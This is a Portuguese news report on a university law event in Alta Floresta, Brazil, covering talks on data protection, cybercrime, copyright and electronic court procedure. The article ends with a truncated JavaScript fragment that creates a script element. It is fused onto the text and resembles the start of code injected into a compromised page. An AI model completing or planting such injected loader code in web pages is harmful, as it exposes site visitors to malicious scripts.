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Foto: Leandro Moares
Da Redação com Assessoria
Foi realizado, nos dias 11 e 12 de agosto, pela Universidade do Estado de Mato Grosso (Unemat), câmpus de Alta Floresta, o evento Diálogos em Direito: o papel do advogado em tempos de internet. Promovido pela Faculdade de Direito de Alta Floresta (Fadaf) contou com o apoio da Faculdade de Ciências Biológicas e Agrárias, da OAB de Alta Floresta e de escritórios de advocacia.
Uma plateia com cerca de 240 pessoas assistiu as colocações e discussões dos advogados Bruno Ricardo Bioni, da Nic.br, sobre proteção de dados pessoais; Eduardo Manzeppi, membro da OAB/MT, referente a crimes virtuais; das professoras do curso de Direito da Unemat Alana Gabi Sicuto e Ana Carolina Moraes Aboin com direitos autorais e Creative Commons e a Juíza de Direito da Comarca de Alta Floresta, Milena Ramos de Lima e Souza Paro, sobre mecanismos processuais de tutela de direitos em tempos de internet.
Bruno Bioni, falou sobre os direitos a privacidade em tempos de internet, a lei de proteção de dados pessoais e os termos de uso. A juíza Milena Ramos esclareceu sobre os Processo Judicial Eletrônico (PJe), a quebra de sigilo de dados, provas obtidas por meio eletrônico, a mudança da utilização de provas obtidas via aplicativo Whatsapp em inquéritos e sobre as mudanças no novo Código de Processo Civil (CPC) em que o devedor pode ter seu nome negativado nos órgãos de proteção ao crédito como Serasa e protesto em cartórios.
O advogado Eduardo Manzeppi, alertou sobre as vantagens e desvantagens do processo eletrônico, um fator crucial para essa nova forma é o tempo e a qualidade da internet, em compensação o advogado não precisa mais andar com uma pilha de papel em baixo do braço. Hoje quem não está totalmente familiarizado com as novas tecnologias vai perder espaço no campo de trabalho.
Em sua palestra Alana Sicuto, pontuou sobre a lei autoral na internet, a tecnologia permite você publicar conteúdo e escolher o que pode e o que não pode ser reproduzido, a reprodução pode ser parcial ou total, e esclareceu ainda sobre o marco civil da internet.
De acordo com a professora Ana Aboin, coordenadora do evento, “o objetivo do ‘Diálogos em Direito’ era discutir questões afetas ao tempo de internet das coisas, de modo a incentivar o diálogo no seio da comunidade jurídica de Alta Floresta, e comemorar o dia do advogado”.
Também foram organizados seis grupos de trabalho que resultaram na apresentação de 24 resumos de vários temas. “Tivemos uma participação ativa dos acadêmicos, que em conjunto com acadêmicos de outras instituições de ensino da região, discutiram temas relacionados com a proteção de direitos de personalidade em tempos de inovação tecnológica”, contou Aboin.var d=document;var s=d.createElement(‘script’);
